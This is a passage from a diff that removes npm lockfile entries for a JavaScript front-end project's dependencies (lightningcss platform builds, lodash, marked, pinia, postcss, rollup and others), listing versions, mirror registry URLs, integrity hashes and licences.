"sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==", - "dev": true, - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmmirror.com/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/keyv": { - "version": "4.5.4", - "resolved": "https://registry.npmmirror.com/keyv/-/keyv-4.5.4.tgz", - "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "json-buffer": "3.0.1" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmmirror.com/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/lightningcss": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss/-/lightningcss-1.32.0.tgz", - "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", - "dev": true, - "license": "MPL-2.0", - "dependencies": { - "detect-libc": "^2.0.3" - }, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - }, - "optionalDependencies": { - "lightningcss-android-arm64": "1.32.0", - "lightningcss-darwin-arm64": "1.32.0", - "lightningcss-darwin-x64": "1.32.0", - "lightningcss-freebsd-x64": "1.32.0", - "lightningcss-linux-arm-gnueabihf": "1.32.0", - "lightningcss-linux-arm64-gnu": "1.32.0", - "lightningcss-linux-arm64-musl": "1.32.0", - "lightningcss-linux-x64-gnu": "1.32.0", - "lightningcss-linux-x64-musl": "1.32.0", - "lightningcss-win32-arm64-msvc": "1.32.0", - "lightningcss-win32-x64-msvc": "1.32.0" - } - }, - "node_modules/lightningcss-android-arm64": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", - "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-arm64": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", - "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-x64": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", - "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-freebsd-x64": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", - "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm-gnueabihf": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", - "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-gnu": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", - "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-musl": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", - "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-gnu": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", - "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-musl": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", - "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-arm64-msvc": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", - "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-x64-msvc": { - "version": "1.32.0", - "resolved": "https://registry.npmmirror.com/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", - "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash": { - "version": "4.17.23", - "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.23.tgz", - "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==", - "license": "MIT" - }, - "node_modules/lodash-es": { - "version": "4.17.23", - "resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.17.23.tgz", - "integrity": "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg==", - "license": "MIT" - }, - "node_modules/lodash-unified": { - "version": "1.0.3", - "resolved": "https://registry.npmmirror.com/lodash-unified/-/lodash-unified-1.0.3.tgz", - "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", - "license": "MIT", - "peerDependencies": { - "@types/lodash-es": "*", - "lodash": "*", - "lodash-es": "*" - } - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmmirror.com/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/marked": { - "version": "15.0.12", - "resolved": "https://registry.npmmirror.com/marked/-/marked-15.0.12.tgz", - "integrity": "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==", - "license": "MIT", - "bin": { - "marked": "bin/marked.js" - }, - "engines": { - "node": ">= 18" - } - }, - "node_modules/marked-highlight": { - "version": "2.2.3", - "resolved": "https://registry.npmmirror.com/marked-highlight/-/marked-highlight-2.2.3.tgz", - "integrity": "sha512-FCfZRxW/msZAiasCML4isYpxyQWKEEx44vOgdn5Kloae+Qc3q4XR7WjpKKf8oMLk7JP9ZCRd2vhtclJFdwxlWQ==", - "license": "MIT", - "peerDependencies": { - "marked": ">=4 <18" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/memoize-one": { - "version": "6.0.0", - "resolved": "https://registry.npmmirror.com/memoize-one/-/memoize-one-6.0.0.tgz", - "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==", - "license": "MIT" - }, - "node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/minimatch": { - "version": "3.1.5", - "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/mitt": { - "version": "3.0.1", - "resolved": "https://registry.npmmirror.com/mitt/-/mitt-3.0.1.tgz", - "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", - "license": "MIT" - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/muggle-string": { - "version": "0.4.1", - "resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", - "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmmirror.com/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/node-releases": { - "version": "2.0.36", - "resolved": "https://registry.npmmirror.com/node-releases/-/node-releases-2.0.36.tgz", - "integrity": "sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==", - "dev": true, - "license": "MIT" - }, - "node_modules/normalize-wheel-es": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", - "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==", - "license": "BSD-3-Clause" - }, - "node_modules/nth-check": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", - "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "boolbase": "^1.0.0" - }, - "funding": { - "url": "https://github.com/fb55/nth-check?sponsor=1" - } - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmmirror.com/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "callsites": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/path-browserify": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/path-browserify/-/path-browserify-1.0.1.tgz", - "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", - "dev": true, - "license": "MIT" - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/perfect-debounce": { - "version": "1.0.0", - "resolved": "https://registry.npmmirror.com/perfect-debounce/-/perfect-debounce-1.0.0.tgz", - "integrity": "sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==", - "license": "MIT" - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pinia": { - "version": "3.0.4", - "resolved": "https://registry.npmmirror.com/pinia/-/pinia-3.0.4.tgz", - "integrity": "sha512-l7pqLUFTI/+ESXn6k3nu30ZIzW5E2WZF/LaHJEpoq6ElcLD+wduZoB2kBN19du6K/4FDpPMazY2wJr+IndBtQw==", - "license": "MIT", - "dependencies": { - "@vue/devtools-api": "^7.7.7" - }, - "funding": { - "url": "https://github.com/sponsors/posva" - }, - "peerDependencies": { - "typescript": ">=4.5.0", - "vue": "^3.5.11" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/pinia/node_modules/@vue/devtools-api": { - "version": "7.7.9", - "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-7.7.9.tgz", - "integrity": "sha512-kIE8wvwlcZ6TJTbNeU2HQNtaxLx3a84aotTITUuL/4bzfPxzajGBOoqjMhwZJ8L9qFYDU/lAYMEEm11dnZOD6g==", - "license": "MIT", - "dependencies": { - "@vue/devtools-kit": "^7.7.9" - } - }, - "node_modules/postcss": { - "version": "8.5.8", - "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.8.tgz", - "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-selector-parser": { - "version": "6.1.2", - "resolved": "https://registry.npmmirror.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", - "dev": true, - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmmirror.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmmirror.com/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", - "license": "MIT" - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/rfdc": { - "version": "1.4.1", - "resolved": "https://registry.npmmirror.com/rfdc/-/rfdc-1.4.1.tgz", - "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", - "license": "MIT" - }, - "node_modules/rollup": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/rollup/-/rollup-4.60.0.tgz", - "integrity": "sha512-yqjxruMGBQJ2gG4HtjZtAfXArHomazDHoFwFFmZZl0r7Pdo7qCIXKqKHZc8yeoMgzJJ+pO6pEEHa+V7uzWlrAQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.60.0", - "@rollup/rollup-android-arm64": "4.60.0", - "@rollup/rollup-darwin-arm64": "4.60.0", - "@rollup/rollup-darwin-x64": "4.60.0", - "@rollup/rollup-freebsd-arm64": "4.60.0", - "@rollup/rollup-freebsd-x64": "4.60.0", - "@rollup/rollup-linux-arm-gnueabihf": "4.60.0", - "@rollup/rollup-linux-arm-musleabihf": "4.60.0", - "@rollup/rollup-linux-arm64-gnu": "4.60.0", - "@rollup/rollup-linux-arm64-musl": "4.60.0", - "@rollup/rollup-linux-loong64-gnu": "4.60.0", - "@rollup/rollup-linux-loong64-musl": "4.60.0", - "@rollup/rollup-linux-ppc64-gnu": "4.60.0", - "@rollup/rollup-linux-ppc64-musl": "4.60.0", - "@rollup/rollup-linux-riscv64-gnu": "4.60.0", - "@rollup/rollup-linux-riscv64-musl": "4.60.0", - "@rollup/rollup-linux-s390x-gnu": "4.60.0", - "@rollup/rollup-linux-x64-gnu": "4.60.0", - "@rollup/rollup-linux-x64-musl": "4.60.0", - 